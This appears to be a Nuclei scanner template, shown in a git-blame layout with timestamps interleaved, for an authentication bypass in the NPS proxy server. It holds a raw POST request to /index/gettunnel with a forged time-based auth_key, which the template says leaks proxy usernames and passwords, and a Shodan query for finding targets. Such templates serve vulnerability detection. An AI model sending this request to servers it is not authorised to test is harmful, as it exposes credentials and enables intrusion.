2022-12-06 08:52:23 +00:00
|
|
|
id: nps-auth-bypass
|
|
|
|
|
|
|
|
info:
|
2022-12-09 09:03:49 +00:00
|
|
|
name: NPS - Authentication Bypass
|
2022-12-06 08:52:23 +00:00
|
|
|
author: SleepingBag945
|
|
|
|
severity: high
|
2022-12-07 05:19:50 +00:00
|
|
|
description: |
|
|
|
|
This will reveal all parameters configured on the NPS, including the account username and password of the proxy.
|
2022-12-06 08:52:23 +00:00
|
|
|
reference:
|
|
|
|
- https://mari0er.club/post/nps.html/
|
2022-12-07 05:19:50 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 1
|
2022-12-09 09:03:49 +00:00
|
|
|
shodan-query: html:"window.nps"
|
2022-12-06 08:52:23 +00:00
|
|
|
tags: nps,auth-bypass
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-12-06 08:52:23 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /index/gettunnel HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
auth_key={{md5(unix_time())}}×tamp={{unix_time()}}&offset=0&limit=10&type=socks5&client_id=&search=
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-12-07 05:19:50 +00:00
|
|
|
part: body
|
2022-12-06 08:52:23 +00:00
|
|
|
words:
|
2022-12-09 09:03:49 +00:00
|
|
|
- '"VerifyKey":'
|
|
|
|
- 'Password":'
|
|
|
|
- 'Id":'
|
2022-12-06 08:52:23 +00:00
|
|
|
condition: and
|
2022-12-07 05:19:50 +00:00
|
|
|
|
2022-12-07 05:25:13 +00:00
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "application/json"
|
|
|
|
|
2022-12-06 08:52:23 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a004630440220652a034f47595f8e474372d7b9514da88e424b5c6c5a387ce3bd4a53f05f94d802200152836ee1d0724300d400468b9e7d1a0ec7d72ef508413840730ac84e18b14c:922c64590222798bb761d5b6d8e72950
|